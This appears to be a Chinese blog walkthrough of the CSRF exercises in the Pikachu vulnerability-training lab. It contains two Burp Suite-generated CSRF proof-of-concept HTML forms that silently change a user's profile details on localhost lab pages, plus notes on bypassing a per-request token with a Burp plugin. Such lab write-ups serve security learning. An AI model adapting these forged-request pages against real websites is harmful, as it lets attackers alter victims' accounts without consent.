Pikachu靶场之csrf

358 阅读1分钟

1. get 方法

image.png

image.png 抓包

image.png

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="woman" />
      <input type="hidden" name="phonenum" value="999" />
      <input type="hidden" name="add" value="999" />
      <input type="hidden" name="email" value="999&#64;mail&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


image.png

http://127.0.0.1/pikachu/1.html

image.png

2. post 方法

image.png

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="woman" />
      <input type="hidden" name="phonenum" value="111" />
      <input type="hidden" name="add" value="111" />
      <input type="hidden" name="email" value="111&#64;mail&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

http://127.0.0.1/pikachu/1.html image.png

3.token 方式

image.png

image.png

Token值,防CSRF

每次刷新页面,token值都会发生变化。这样就防止了CSRF

破解步骤

image.png

使用scrf token tracker插件

image.png

image.png

image.png

image.png

访问复制出来了的链接 http://burpsuite/show/4/xlnwqjglehil78lbo5assihponjdrq5x

关闭抓包即可

image.png